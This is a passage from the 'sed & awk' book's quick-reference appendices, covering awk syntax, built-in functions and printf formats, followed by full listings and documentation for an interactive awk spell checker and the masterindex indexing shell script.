    || Logical Or

    Sun's version of nawk (SunOS 4.1.x) does not support treating regular expressions as parts of a larger Boolean expression. E.g., "/cute/ && /sweet/" or "/fast/ || /quick/" do not work.

    In addition the C conditional operator ?: (pattern ? pattern : pattern) may be used in a pattern.

  6. Patterns can be placed in parentheses to ensure proper evaluation.

  7. BEGIN and END patterns must be associated with actions. If multiple BEGIN and END rules are written, they are merged into a single rule before being applied.

B.2.4 Regular Expressions

Table 13.2 summarizes the regular expressions as described in Chapter 3. The metacharacters are listed in order of precedence.

Table B.1: Regular Expression Metacharacters
Special |
Characters | Usage
c | Matches any literal character c that is not a metacharacter.
\ | Escapes any metacharacter that follows, including itself.
^ | Anchors following regular expression to the beginning of string.
$ | Anchors preceding regular expression to the end of string.
. | Matches any single character, including newline.
[...] | Matches any one of the class of characters enclosed between the brackets. A circumflex (^) as the first character inside brackets reverses the match to all characters except those listed in the class. A hyphen (-) is used to indicate a range of characters. The close bracket (]) as the first character in a class is a member of the class. All other metacharacters lose their meaning when specified as members of a class, except \, which can be used to escape ], even if it is not first.
r1|r2 | Between two regular expressions, r1 and r2, it allows either of the regular expressions to be matched.
(r1)(r2) | Used for concatenating regular expressions.
r* | Matches any number (including zero) of the regular expression that immediately precedes it.
r+ | Matches one or more occurrences of the preceding regular expression.
r? | Matches 0 or 1 occurrences of the preceding regular expression.
(r) | Used for grouping regular expressions.

Regular expressions can also make use of the escape sequences for accessing special characters, as defined in the section "Escape sequences" later in this appendix.

Note that ^ and $ work on strings; they do not match against newlines embedded in a record or string.

Within a pair of brackets, POSIX allows special notations for matching non-English characters. They are described in Table 13.3.

Table B.2: POSIX Character List Facilities
Notation | Facility
[.symbol.] | Collating symbols. A collating symbol is a multi-character sequence that should be treated as a unit.
[=equiv=] | Equivalence classes. An equivalence class lists a set of characters that should be considered equivalent, such as "e" and "è".
[:class:] | Character classes. Character class keywords describe different classes of characters such as alphabetic characters, control characters, and so on.
[:alnum:] | Alphanumeric characters
[:alpha:] | Alphabetic characters
[:blank:] | Space and tab characters
[:cntrl:] | Control characters
[:digit:] | Numeric characters
[:graph:] | Printable and visible (non-space) characters
[:lower:] | Lowercase characters
[:print:] | Printable characters
[:punct:] | Punctuation characters
[:space:] | Whitespace characters
[:upper:] | Uppercase characters
[:xdigit:] | Hexadecimal digits

Note that these facilities (as of this writing) are still not widely implemented.

B.2.5 Expressions

An expression can be made up of constants, variables, operators and functions. A constant is a string (any sequence of characters) or a numeric value. A variable is a symbol that references a value. You can think of it as a piece of information that retrieves a particular numeric or string value.

B.2.5.1 Constants

There are two types of constants, string and numeric. A string constant must be quoted while a numeric constant is not.

B.2.5.2 Escape sequences

The escape sequences described in Table 13.4 can be used in strings and regular expressions.

Table B.3: Escape Sequences
Sequence | Description
\a | Alert character, usually ASCII BEL character
\b | Backspace
\f | Formfeed
\n | Newline
\r | Carriage return
\t | Horizontal tab
\v | Vertical tab
\ddd | Character represented as 1 to 3 digit octal value
\xhex | Character represented as hexadecimal value[1]
\c | Any literal character c (e.g., \" for ")[2]

[1] POSIX does not provide "\x", but it is commonly available.

[2] Like ANSI C, POSIX leaves it purposely undefined what you get when you put a backslash before any character not listed in the table. In most awks, you just get that character.

B.2.5.3 Variables

There are three kinds of variables: user-defined, built-in, and fields. By convention, the names of built-in or system variables consist of all capital letters.

The name of a variable cannot start with a digit. Otherwise, it consists of letters, digits, and underscores. Case is significant in variable names.

A variable does not need to be declared or initialized. A variable can contain either a string or numeric value. An uninitialized variable has the empty string ("") as its string value and 0 as its numeric value. Awk attempts to decide whether a value should be processed as a string or a number depending upon the operation.

The assignment of a variable has the form:

var = expr

It assigns the value of the expression to var. The following expression assigns a value of 1 to the variable x.

x = 1

The name of the variable is used to reference the value:

{ print x }

prints the value of the variable x. In this case, it would be 1.

See the section "System Variables" below for information on built-in variables. A field variable is referenced using $n, where n is any number 0 to NF, that references the field by position. It can be supplied by a variable, such as $NF meaning the last field, or constant, such as $1 meaning the first field.

B.2.5.4 Arrays

An array is a variable that can be used to store a set of values. The following statement assigns a value to an element of an array:

array[index] = value

In awk, all arrays are associative arrays. What makes an associative array unique is that its index can be a string or a number.

An associative array makes an "association" between the indices and the elements of an array. For each element of the array, a pair of values is maintained: the index of the element and the value of the element. The elements are not stored in any particular order as in a conventional array.

You can use the special for loop to read all the elements of an associative array.

for (item in array)

The index of the array is available as item, while the value of an element of the array can be referenced as array[item].

You can use the operator in to test that an element exists by testing to see if its index exists.

if (index in array)

tests that array[index] exists, but you cannot use it to test the value of the element referenced by array[index].

You can also delete individual elements of the array using the delete statement.

B.2.5.5 System variables

Awk defines a number of special variables that can be referenced or reset inside a program, as shown in Table 13.5 (defaults are listed in parentheses).

Table B.4: Awk System Variables
Variable | Description
ARGC | Number of arguments on command line
ARGV | An array containing the command-line arguments
CONVFMT | String conversion format for numbers (%.6g). (POSIX)
ENVIRON | An associative array of environment variables
FILENAME | Current filename
FNR | Like NR, but relative to the current file
FS | Field separator (a blank)
NF | Number of fields in current record
NR | Number of the current record
OFMT | Output format for numbers (%.6g)
OFS | Output field separator (a blank)
ORS | Output record separator (a newline)
RLENGTH | Length of the string matched by match() function
RS | Record separator (a newline)
RSTART | First position in the string matched by match() function
SUBSEP | Separator character for array subscripts (\034)

B.2.5.6 Operators

Table 13.6 lists the operators in the order of precedence (low to high) that are available in awk.

Table B.5: Operators
Operators | Description
= += -= *= /= %= ^= **= | Assignment
?: | C conditional expression
|| | Logical OR
&& | Logical AND
~ !~ | Match regular expression and negation
< <= > >= != == | Relational operators
(blank) | Concatenation
+ - | Addition, subtraction
* / % | Multiplication, division, and modulus
+ - ! | Unary plus and minus, and logical negation
^ ** | Exponentiation
++ -- | Increment and decrement, either prefix or postfix
$ | Field reference

NOTE: While "**" and "**=" are common extensions, they are not part of POSIX awk.

B.2.6 Statements and Functions

An action is enclosed in braces and consists of one or more statements and/or expressions. The difference between a statement and a function is that a function returns a value, and its argument list is specified within parentheses. (The formal syntactical difference does not always hold true: printf is considered a statement, but its argument list can be put in parentheses; getline is a function that does not use parentheses.)

Awk has a number of predefined arithmetic and string functions. A function is typically called as follows:

return = function(arg1,arg2)

where return is a variable created to hold what the function returns. (In fact, the return value of a function can be used anywhere in an expression, not just on the right-hand side of an assignment.) Arguments to a function are specified as a comma-separated list. The left parenthesis follows after the name of the function. (With built-in functions, a space is permitted between the function name and the parentheses.)

Previous: B.1 Command-Line Syntax | sed & awk | Next: B.3 Command Summary for awk
B.1 Command-Line Syntax | Book Index | B.3 Command Summary for awk
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Appendix B] B.3 Command Summary for awk

sed & awk

sed & awkSearch this book
Previous: B.2 Language Summary for awk Appendix B
Quick Reference for awk 		Next: C. Supplement for Chapter 12

B.3 Command Summary for awk

The following alphabetical list of statements and functions includes all that are available in POSIX awk, nawk, or gawk. See Chapter 11, A Flock of awks, for extensions available in different implementations.

atan2()

atan2(y, x)

Returns the arctangent of y/x in radians.

break

Exit from a while, for, or do loop.

close()

close(filename-expr)

close(command-expr)

In most implementations of awk, you can only have a limited number of files and/or pipes open simultaneously. Therefore, awk provides a close() function that allows you to close a file or a pipe. It takes as an argument the same expression that opened the pipe or file. This expression must be identical, character by character, to the one that opened the file or pipe - even whitespace is significant.

continue

Begin next iteration of while, for, or do loop.

cos()

cos(x)

Return cosine of x in radians.

delete

delete array[element]

Delete element of an array.

do

do

body

while (expr)

Looping statement. Execute statements in body then evaluate expr and if true, execute body again.

exit

exit [expr]

Exit from script, reading no new input. The END rule, if it exists, will be executed. An optional expr becomes awk's return value.

exp()

exp(x)

Return exponential of x (e ^ x).

for

for (init-expr; test-expr; incr-expr) statement

C-style looping construct. init-expr assigns the initial value of the counter variable. test-expr is a relational expression that is evaluated each time before executing the statement. When test-expr is false, the loop is exited. incr-expr is used to increment the counter variable after each pass.

for (item in array) statement

Special loop designed for reading associative arrays. For each element of the array, the statement is executed; the element can be referenced by array[item].

getline

Read next line of input.

getline [var] [<file]

command | getline [var]

The first form reads input from file and the second form reads the output of command. Both forms read one line at a time, and each time the statement is executed it gets the next line of input. The line of input is assigned to $0 and it is parsed into fields, setting NF, NR, and FNR. If var is specified, the result is assigned to var and the $0 is not changed. Thus, if the result is assigned to a variable, the current line does not change. getline is actually a function and it returns 1 if it reads a record successfully, 0 if end-of-line is encountered, and -1 if for some reason it is otherwise unsuccessful.

gsub()

gsub(r, s, t)

Globally substitute s for each match of the regular expression r in the string t. Return the number of substitutions. If t is not supplied, defaults to $0.

if

if (expr) statement1

[ else statement2 ]

Conditional statement. Evaluate expr and, if true, execute statement1; if else clause is supplied, execute statement2 if expr is false.

index()

index(str, substr)

Return position (starting at 1) of substring in string.

int()

int(x)

Return integer value of x by truncating any digits following a decimal point.

length()

length(str)

Return length of string, or the length of $0 if no argument.

log()

log(x)

Return natural logarithm (base e) of x.

match()

match(s, r)

Function that matches the pattern, specified by the regular expression r, in the string s and returns either the position in s where the match begins, or 0 if no occurrences are found. Sets the values of RSTART and RLENGTH to the start and length of the match, respectively.

next

Read next input line and begin executing script at first rule.

print

print [ output-expr ] [ dest-expr ]

Evaluate the output-expr and direct it to standard output followed by the value of ORS. Each output-expr is separated by the value of OFS. dest-expr is an optional expression that directs the output to a file or pipe. "> file" directs the output to a file, overwriting its previous contents. ">> file" appends the output to a file, preserving its previous contents. In both of these cases, the file will be created if it does not already exist. "| command" directs the output as the input to a system command.

printf

printf (format-expr [, expr-list ]) [ dest-expr ]

An alternative output statement borrowed from the C language. It has the ability to produce formatted output. It can also be used to output data without automatically producing a newline. format-expr is a string of format specifications and constants; see next section for a list of format specifiers. expr-list is a list of arguments corresponding to format specifiers. See the print statement for a description of dest-expr.

rand()

rand()

Generate a random number between 0 and 1. This function returns the same series of numbers each time the script is executed, unless the random number generator is seeded using the srand() function.

return

return [expr]

Used at end of user-defined functions to exit function, returning value of expression.

sin()

sin(x)

Return sine of x in radians.

split()

split(str, array, sep)

Function that parses string into elements of array using field separator, returning number of elements in array. Value of FS is used if no field separator is specified. Array splitting works the same as field splitting.

sprintf()

sprintf (format-expr [, expr-list ] )

Function that returns string formatted according to printf format specification. It formats data but does not output it. format-expr is a string of format specifications and constants; see the next section for a list of format specifiers. expr-list is a list of arguments corresponding to format specifiers.

sqrt()

sqrt(x)

Return square root of x.

srand()

srand(expr)

Use expr to set a new seed for random number generator. Default is time of day. Return value is the old seed.

sub()

sub(r, s, t)

Substitute s for first match of the regular expression r in the string t. Return 1 if successful; 0 otherwise. If t is not supplied, defaults to $0.

substr()

substr(str, beg, len)

Return substring of string str at beginning position beg, and the characters that follow to maximum specified length len. If no length is given, use the rest of the string.

system()

system(command)

Function that executes the specified command and returns its status. The status of the executed command typically indicates success or failure. A value of 0 means that the command executed successfully. A non-zero value, whether positive or negative, indicates a failure of some sort. The documentation for the command you're running will give you the details. The output of the command is not available for processing within the awk script. Use "command | getline" to read the output of a command into the script.

tolower()

tolower(str)

Translate all uppercase characters in str to lowercase and return the new string.[3]

[3] Very early versions of nawk, such as that in SunOS 4.1.x, don't support tolower() and toupper(). However, they are now part of the POSIX specification for awk.

toupper()

toupper(str)

Translate all lowercase characters in str to uppercase and return the new string.

while

while (expr) statement

Looping construct. While expr is true, execute statement.

B.3.1 Format Expressions Used in printf and sprintf

A format expression can take three optional modifiers following "%" and preceding the format specifier:

%-width.precision format-specifier

The width of the output field is a numeric value. When you specify a field width, the contents of the field will be right-justified by default. You must specify "-" to get left-justification. Thus, "%-20s" outputs a string left-justified in a field 20 characters wide. If the string is less than 20 characters, the field will be padded with spaces to fill.

The precision modifier, used for decimal or floating-point values, controls the number of digits that appear to the right of the decimal point. For string formats, it controls the number of characters from the string to print.

You can specify both the width and precision dynamically, via values in the printf or sprintf argument list. You do this by specifying asterisks, instead of specifying literal values.

printf("%*.*g\n", 5, 3, myvar);

In this example, the width is 5, the precision is 3, and the value to print will come from myvar. Older versions of nawk may not support this.

Note that the default precision for the output of numeric values is "%.6g." The default can be changed by setting the system variable OFMT. This affects the precision used by the print statement when outputting numbers. For instance, if you are using awk to write reports that contain dollar values, you might prefer to change OFMT to "%.2f."

The format specifiers, shown in Table 13.7, are used with printf and sprintf statements.

Table B.6: Format Specifiers Used in printf
Character | Description
c | ASCII character.
d | Decimal integer.
i | Decimal integer. Added in POSIX.
e | Floating-point format ([-]d.precision e[+-]dd).
E | Floating-point format ([-]d.precision E[+-]dd).
f | Floating-point format ([-]ddd.precision).
g | e or f conversion, whichever is shortest, with trailing zeros removed.
G | E or f conversion, whichever is shortest, with trailing zeros removed.
o | Unsigned octal value.
s | String.
x | Unsigned hexadecimal number. Uses a-f for 10 to 15.
X | Unsigned hexadecimal number. Uses A-F for 10 to 15.
% | Literal %.

Often, whatever format specifiers are available in the system's sprintf(3) subroutine are available in awk.

The way printf and sprintf() do rounding will often depend upon the system's C sprintf(3) subroutine. On many machines, sprintf rounding is "unbiased," which means it doesn't always round a trailing ".5" up, contrary to naive expectations. In unbiased rounding, ".5" rounds to even, rather than always up, so 1.5 rounds to 2 but 4.5 rounds to 4. The result is that if you are using a format that does rounding (e.g., "%.0f") you should check what your system does. The following function does traditional rounding; it might be useful if your awk's printf does unbiased rounding.

# round --- do normal rounding
#	Arnold Robbins, arnold@gnu.ai.mit.edu
#	Public Domain
function round(x,       ival, aval, fraction)
{
        ival = int(x)	# integer part, int() truncates
    # see if fractional part
    if (ival == x)	# no fraction
        return x
    if (x < 0) {
        aval = -x	# absolute value
        ival = int(aval)
        fraction = aval - ival
        if (fraction >= .5)
            return int(x) - 1		# -2.5 --> -3
        else
            return int(x)		# -2.3 --> -2
    } else {
        fraction = x - ival
        if (fraction >= .5)
            return ival + 1
        else
            return ival
    }
}

Previous: B.2 Language Summary for awk | sed & awk | Next: C. Supplement for Chapter 12
B.2 Language Summary for awk | Book Index | C. Supplement for Chapter 12
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Appendix C] Supplement for Chapter 12

sed & awk

sed & awkSearch this book
Previous: B.3 Command Summary for awk Appendix C Next: C.2 Listing of masterindex Shell Script

C. Supplement for Chapter 12

Contents:
Full Listing of spellcheck.awk
Listing of masterindex Shell Script
Documentation for masterindex

This appendix contains supplemental programs and documentation for the programs described in Chapter 12, Full-Featured Applications.

C.1 Full Listing of spellcheck.awk

# spellcheck.awk -- interactive spell checker
#
# AUTHOR: Dale Dougherty
#
# Usage: nawk -f spellcheck.awk [+dict] file
# (Use spellcheck as name of shell program)
# SPELLDICT = "dict"
# SPELLFILE = "file"

# BEGIN actions perform the following tasks:
#      1) process command line arguments
#      2) create temporary filenames
#      3) execute spell program to create wordlist file
#      4) display list of user responses

BEGIN {
# Process command line arguments
# Must be at least two args -- nawk and filename
      if (ARGC > 1) {
      # if more than two args, second arg is dict
            if (ARGC > 2) {
            # test to see if dict is specified with "+"
            # and assign ARGV[1] to SPELLDICT
                  if (ARGV[1] ~ /^\+.*/)
                        SPELLDICT = ARGV[1]
                  else
                        SPELLDICT = "+" ARGV[1]
            # assign file ARGV[2] to SPELLFILE
                  SPELLFILE = ARGV[2]
            # delete args so awk does not open them as files
                  delete ARGV[1]
                  delete ARGV[2]
            }
      # not more than two args
            else {
            # assign file ARGV[1] to SPELLFILE
                  SPELLFILE = ARGV[1]
            # test to see if local dict file exists
                  if (! system ("test -r dict")) {
                  # if it does, ask if we should use it
                        printf ("Use local dict file? (y/n)")
                        getline reply < "-"
                  # if reply is yes, use "dict"
                        if (reply ~ /[yY](es)?/){
                              SPELLDICT = "+dict"
                        }
                  }
            }
      } # end of processing args > 1
      # if args not > 1, then print shell-command usage
      else {
            print "Usage: spellcheck [+dict] file"
            exit 1
      }
# end of processing command line arguments

# create temporary file names, each begin with sp_
      wordlist = "sp_wordlist"
      spellsource = "sp_input"
      spellout = "sp_out"

# copy SPELLFILE to temporary input file
      system("cp " SPELLFILE " " spellsource)

# now run spell program; output sent to wordlist
      print "Running spell checker ..."
      if (SPELLDICT)
            SPELLCMD = "spell " SPELLDICT " "
      else
            SPELLCMD = "spell "
      system(SPELLCMD spellsource " > " wordlist )

# test wordlist to see if misspelled words turned up
      if ( system("test -s " wordlist ) ) {
      # if wordlist is empty, (or spell command failed), exit
            print "No misspelled words found."
            system("rm " spellsource " " wordlist)
            exit
      }

# assign wordlist file to ARGV[1] so that awk will read it.
      ARGV[1] = wordlist

# display list of user responses
      responseList = "Responses: \n\tChange each occurrence,"
      responseList = responseList "\n\tGlobal change,"
      responseList = responseList "\n\tAdd to Dict,"
      responseList = responseList "\n\tHelp,"
      responseList = responseList "\n\tQuit"
      responseList = responseList "\n\tCR to ignore: "
      printf("%s", responseList)

} # end of BEGIN procedure

# main procedure, executed for each line in wordlist.
#     Purpose is to show misspelled word and prompt user
#     for appropriate action.

{
# assign word to misspelling
      misspelling = $1
      response = 1
      ++word
# print misspelling and prompt for response
      while (response !~ /(^[cCgGaAhHqQ])|^$/ ) {
            printf("\n%d - Found %s (C/G/A/H/Q/):", word, misspelling)
            getline response < "-"
      }
# now process the user's response
# CR - carriage return ignores current word
# Help
      if (response ~ /[Hh](elp)?/) {
      # Display list of responses and prompt again.
            printf("%s", responseList)
            printf("\n%d - Found %s (C/G/A/Q/):", word, misspelling)
            getline response < "-"
      }
# Quit
      if (response ~ /[Qq](uit)?/) exit
# Add to dictionary
      if ( response ~ /[Aa](dd)?/) {
            dict[++dictEntry] = misspelling
      }
# Change each occurrence
      if ( response ~ /[cC](hange)?/) {
      # read each line of the file we are correcting
            newspelling = ""; changes = ""
            while( (getline < spellsource) > 0){
            # call function to show line with misspelled word
            # and prompt user to make each correction
                  make_change($0)
            # all lines go to temp output file
                  print > spellout
            }
      # all lines have been read
      # close temp input and temp output file
            close(spellout)
            close(spellsource)
      # if change was made
            if (changes){
            # show changed lines
                  for (j = 1; j <= changes; ++j)
                        print changedLines[j]
                  printf ("%d lines changed. ", changes)
            # function to confirm before saving changes
                  confirm_changes()
            }
      }
# Globally change
      if ( response ~ /[gG](lobal)?/) {
      # call function to prompt for correction
      # and display each line that is changed.
      # Ask user to approve all changes before saving.
            make_global_change()
      }
} # end of Main procedure

# END procedure makes changes permanent.
# It overwrites the original file, and adds words
# to the dictionary.
# It also removes the temporary files.

END {
# if we got here after reading only one record,
# no changes were made, so exit.
      if (NR <= 1) exit
# user must confirm saving corrections to file
      while (saveAnswer !~ /([yY](es)?)|([nN]o?)/ ) {
            printf "Save corrections in %s (y/n)? ", SPELLFILE
            getline saveAnswer < "-"
      }
# if answer is yes then mv temporary input file to SPELLFILE
# save old SPELLFILE, just in case
      if (saveAnswer ~ /^[yY]/) {
            system("cp " SPELLFILE " " SPELLFILE ".orig")
            system("mv " spellsource " " SPELLFILE)
      }
# if answer is no then rm temporary input file
      if (saveAnswer ~ /^[nN]/)
            system("rm " spellsource)

# if words have been added to dictionary array, then prompt
# to confirm saving in current dictionary.
      if (dictEntry) {
            printf "Make changes to dictionary (y/n)? "
            getline response < "-"
            if (response ~ /^[yY]/){
            # if no dictionary defined, then use "dict"
                  if (! SPELLDICT) SPELLDICT = "dict"

            # loop through array and append words to dictionary
                  sub(/^\+/, "", SPELLDICT)
                  for ( item in dict )
                        print dict[item] >> SPELLDICT
                  close(SPELLDICT)
            # sort dictionary file
                  system("sort " SPELLDICT "> tmp_dict")
                  system("mv " "tmp_dict " SPELLDICT)
            }
      }
# remove word list
      system("rm sp_wordlist")
} # end of END procedure

# function definitions

# make_change -- prompt user to correct misspelling
#                for current input line.  Calls itself
#                to find other occurrences in string.
#     stringToChange -- initially $0; then unmatched substring of $0
#     len -- length from beginning of $0 to end of matched string
# Assumes that misspelling is defined.

function make_change (stringToChange, len,   # parameters
      line, OKmakechange, printstring, carets)   # locals
{
# match misspelling in stringToChange; otherwise do nothing
   if ( match(stringToChange, misspelling) ) {
   # Display matched line
         printstring = $0
         gsub(/\t/, " ", printstring)
         print printstring
         carets = "^"
         for (i = 1; i < RLENGTH; ++i)
               carets = carets "^"
         if (len)
               FMT = "%" len+RSTART+RLENGTH-2 "s\n"
         else
               FMT = "%" RSTART+RLENGTH-1 "s\n"
         printf(FMT, carets)
   # Prompt user for correction, if not already defined
         if (! newspelling) {
               printf "Change to:"
               getline newspelling < "-"
         }
   # A carriage return falls through
   # If user enters correction, confirm
         while (newspelling && ! OKmakechange) {
               printf ("Change %s to %s? (y/n):", misspelling, newspelling)
               getline OKmakechange < "-"
               madechg = ""
         # test response
               if (OKmakechange ~ /[yY](es)?/ ) {
               # make change (first occurrence only)
                     madechg = sub(misspelling, newspelling, stringToChange)
               }
               else if ( OKmakechange ~ /[nN]o?/ ) {
                     # offer chance to re-enter correction
                     printf "Change to:"
                     getline newspelling < "-"
                     OKmakechange = ""
               }
         } # end of while loop

   # if len, we are working with substring of $0
         if (len) {
         # assemble it
               line = substr($0,1,len-1)
               $0 = line stringToChange
         }
         else {
               $0 = stringToChange
               if (madechg) ++changes
         }

   # put changed line in array for display
         if (madechg)
               changedLines[changes] = ">" $0

   # create substring so we can try to match other occurrences
         len += RSTART + RLENGTH
         part1 = substr($0, 1, len-1)
         part2 = substr($0, len)
   # calls itself to see if misspelling is found in remaining part
         make_change(part2, len)

   } # end of if

} # end of make_change()

# make_global_change --
#        prompt user to correct misspelling
#        for all lines globally.
#        Has no arguments
# Assumes that misspelling is defined.

function make_global_change(    newspelling, OKmakechange, changes)
{
# prompt user to correct misspelled word
   printf "Globally change to:"
   getline newspelling < "-"

# carriage return falls through
# if there is an answer, confirm
   while (newspelling && ! OKmakechange) {
               printf ("Globally change %s to %s? (y/n):", misspelling,
                     newspelling)
               getline OKmakechange < "-"
         # test response and make change
               if (OKmakechange ~ /[yY](es)?/ ) {
               # open file, read all lines
                     while( (getline < spellsource) > 0){
                     # if match is found, make change using gsub
                     # and print each changed line.
                           if ($0 ~ misspelling) {
                                    madechg = gsub(misspelling, newspelling)
                                    print ">", $0
                                    changes += 1  # counter for line changes
                           }
                     # write all lines to temp output file
                           print > spellout
                     } # end of while loop for reading file

               # close temporary files
                     close(spellout)
                     close(spellsource)
               # report the number of changes
                     printf ("%d lines changed. ", changes)
               # function to confirm before saving changes
                     confirm_changes()
               } # end of if (OKmakechange ~ y)

   # if correction not confirmed,  prompt for new word
               else if ( OKmakechange ~ /[nN]o?/ ){
                     printf "Globally change to:"
                     getline newspelling < "-"
                     OKmakechange = ""
               }

   } # end of while loop for prompting user for correction

} # end of make_global_change()

# confirm_changes --
#        confirm before saving changes

function confirm_changes(  savechanges) {
# prompt to confirm saving changes
      while (! savechanges ) {
            printf ("Save changes? (y/n)")
            getline savechanges < "-"
      }
# if confirmed, mv output to input
      if (savechanges ~ /[yY](es)?/)
            system("mv " spellout " " spellsource)
      }

Previous: B.3 Command Summary for awk | sed & awk | Next: C.2 Listing of masterindex Shell Script
B.3 Command Summary for awk | Book Index | C.2 Listing of masterindex Shell Script
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Appendix C] C.2 Listing of masterindex Shell Script

sed & awk

sed & awkSearch this book
Previous: C.1 Full Listing of spellcheck.awk Appendix C
Supplement for Chapter 12 		Next: C.3 Documentation for masterindex

C.2 Listing of masterindex Shell Script

#! /bin/sh
# 1.1 -- 7/9/90
MASTER=""
FILES=""
PAGE=""
FORMAT=1
INDEXDIR=/work/sedawk/awk/index
#INDEXDIR=/work/index
INDEXMACDIR=/work/macros/current
# Add check that all dependent modules are available.
sectNumber=1
useNumber=1
while [ "$#" != "0" ]; do
   case $1 in
   -m*)     MASTER="TRUE";;
   [1-9])   sectNumber=$1;;
   *,*)     sectNames=$1; useNumber=0;;
   -p*)     PAGE="TRUE";;
   -s*)     FORMAT=0;;
   -*)      echo $1 " is not a valid argument";;
   *)       if [ -f $1 ]; then
              FILES="$FILES $1"
            else
              echo "$1: file not found"
            fi;;
   esac
   shift
done
if [ "$FILES" = "" ]; then
   echo "Please supply a valid filename."
   exit
fi
if [ "$MASTER" != "" ]; then
   for x in $FILES
   do
   if [ "$useNumber" != 0 ]; then
      romaNum=`$INDEXDIR/romanum $sectNumber`
      awk '-F\t' '
         NF == 1 { print $0 }
         NF > 1  { print $0 ":" volume }
      ' volume=$romaNum $x >>/tmp/index$$
      sectNumber=`expr $sectNumber + 1`
   else
      awk '-F\t' '
         NR == 1 { split(namelist, names, ",");
                   volname = names[volume] }
         NF == 1 { print $0 }
         NF > 1  { print $0 ":" volname }
      ' volume=$sectNumber namelist=$sectNames $x >>/tmp/index$$
      sectNumber=`expr $sectNumber + 1`
   fi
   done
   FILES="/tmp/index$$"
fi
if [ "$PAGE" != "" ]; then
   $INDEXDIR/page.idx $FILES
   exit
fi
$INDEXDIR/input.idx $FILES |
sort -bdf -t:  +0 -1 +1 -2 +3 -4 +2n -3n | uniq |
$INDEXDIR/pagenums.idx |
$INDEXDIR/combine.idx |
$INDEXDIR/format.idx FMT=$FORMAT MACDIR=$INDEXMACDIR
if [ -s "/tmp/index$$" ]; then
   rm /tmp/index$$
fi

Previous: C.1 Full Listing of spellcheck.awk | sed & awk | Next: C.3 Documentation for masterindex
C.1 Full Listing of spellcheck.awk | Book Index | C.3 Documentation for masterindex
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Appendix C] C.3 Documentation for masterindex

sed & awk

sed & awkSearch this book
Previous: C.2 Listing of masterindex Shell Script Appendix C
Supplement for Chapter 12

C.3 Documentation for masterindex

This documentation, and the notes that follow, are by Dale Dougherty.

C.3.1 masterindex

indexing program for single and multivolume indexing.

Synopsis

masterindex [-master [volume]] [-page] [-screen] [filename..]

Description

masterindex generates a formatted index based on structured index entries output by troff. Unless you redirect output, it comes to the screen.

Options

-m or -master indicates that you are compiling a multivolume index. The index entries for each volume should be in a single file and the filenames should be listed in sequence. If the first file is not the first volume, then specify the volume number as a separate argument. The volume number is converted to a roman numeral and prepended to all the page numbers of entries in that file.

-p or -page produces a listing of index entries for each page number. It can be used to proof the entries against hardcopy.

-s or -screen specifies that the unformatted index will be viewed on the "screen". The default is to prepare output that contains troff macros for formatting.

Files

/work/bin/masterindex
/work/bin/page.idx
/work/bin/pagenums.idx
/work/bin/combine.idx
/work/bin/format.idx
/work/bin/rotate.idx
/work/bin/romanum
/work/macros/current/indexmacs

See Also

Note that these programs require "nawk" (new awk): nawk (1), and sed (1V).

Bugs

The new index program is modular, invoking a series of smaller programs. This should allow me to connect different modules to implement new features as well as isolate and fix problems more easily. Index entries should not contain any troff font changes. The program does not handle them. Roman numerals greater than eight will not be sorted properly, thus imposing a limit of an eight-book index. (The sort program will sort the roman numerals 1-10 in the following order: I, II, III, IV, IX, V, VI, VII, VIII, X.)

C.3.2 Background Details

Tim O'Reilly recommends The Joy of Cooking (JofC) index as an ideal index. I examined the JofC index quite thoroughly and set out to write a new indexing program that duplicated its features. I did not wholly duplicate the JofC format, but this could be done fairly easily if desired. Please look at the JofC index yourself to examine its features.

I also tried to do a few other things to improve on the previous index program and provide more support for the person coding the index.

C.3.3 Coding Index Entries

This section describes the coding of index entries in the document file. We use the .XX macro for placing index entries in a file. The simplest case is:

.XX "entry"

If the entry consists of primary and secondary sort keys, then we can code it as:

.XX "primary, secondary"

A comma delimits the two keys. We also have a .XN macro for generating "See" references without a page number. It is specified as:

.XN "entry (See anotherEntry)"

While these coding forms continue to work as they have, masterindex provides greater flexibility by allowing three levels of keys: primary, secondary, and tertiary. You'd specify the entry like so:

.XX "primary: secondary; tertiary"

Note that the comma is not used as a delimiter. A colon delimits the primary and secondary entry; the semicolon delimits the secondary and tertiary entry. This means that commas can be a part of a key using this syntax. Don't worry, though, you can continue to use a comma to delimit the primary and secondary keys. (Be aware that the first comma in a line is converted to a colon, if no colon delimiter is found.) I'd recommend that new books be coded using the above syntax, even if you are only specifying a primary and secondary key.

Another feature is automatic rotation of primary and secondary keys if a tilde (~) is used as the delimiter. So the following entry:

.XX "cat~command"

is equivalent to the following two entries:

.XX "cat command"
.XX "command: cat"

You can think of the secondary key as a classification (command, attribute, function, etc.) of the primary entry. Be careful not to reverse the two, as "command cat" does not make much sense. To use a tilde in an entry, enter "~~".

I added a new macro, .XB, that is the same as .XX except that the page number for this index entry will be output in bold to indicate that it is the most significant page number in a range. Here is an example:

.XB "cat command"

When troff processes the index entries, it outputs the page number followed by an asterisk. This is how it appears when output is seen in screen format. When coded for troff formatting, the page number is surrounded by the bold font change escape sequences. (By the way, in the JofC index, I noticed that they allowed having the same page number in roman and in bold.) Also, this page number will not be combined in a range of consecutive numbers.

One other feature of the JofC index is that the very first secondary key appears on the same line with the primary key. The old index program placed any secondary key on the next line. The one advantage of doing it the JofC way is that entries containing only one secondary key will be output on the same line and look much better. Thus, you'd have "line justification, definition of" rather than having "definition of" indented on the next line. The next secondary key would be indented. Note that if the primary key exists as a separate entry (it has page numbers associated with it), the page references for the primary key will be output on the same line and the first secondary entry will be output on the next line.

To reiterate, while the syntax of the three-level entries is different, this index entry is perfectly valid:

.XX "line justification, definition of"

It also produces the same result as:

.XX "line justification: definition of"

(The colon disappears in the output.) Similarly, you could write an entry, such as

.XX "justification, lines, defined"

or

.XX "justification: lines, defined"

where the comma between "lines" and "defined" does not serve as a delimiter but is part of the secondary key.

The previous example could be written as an entry with three levels:

.XX "justification: lines; defined"

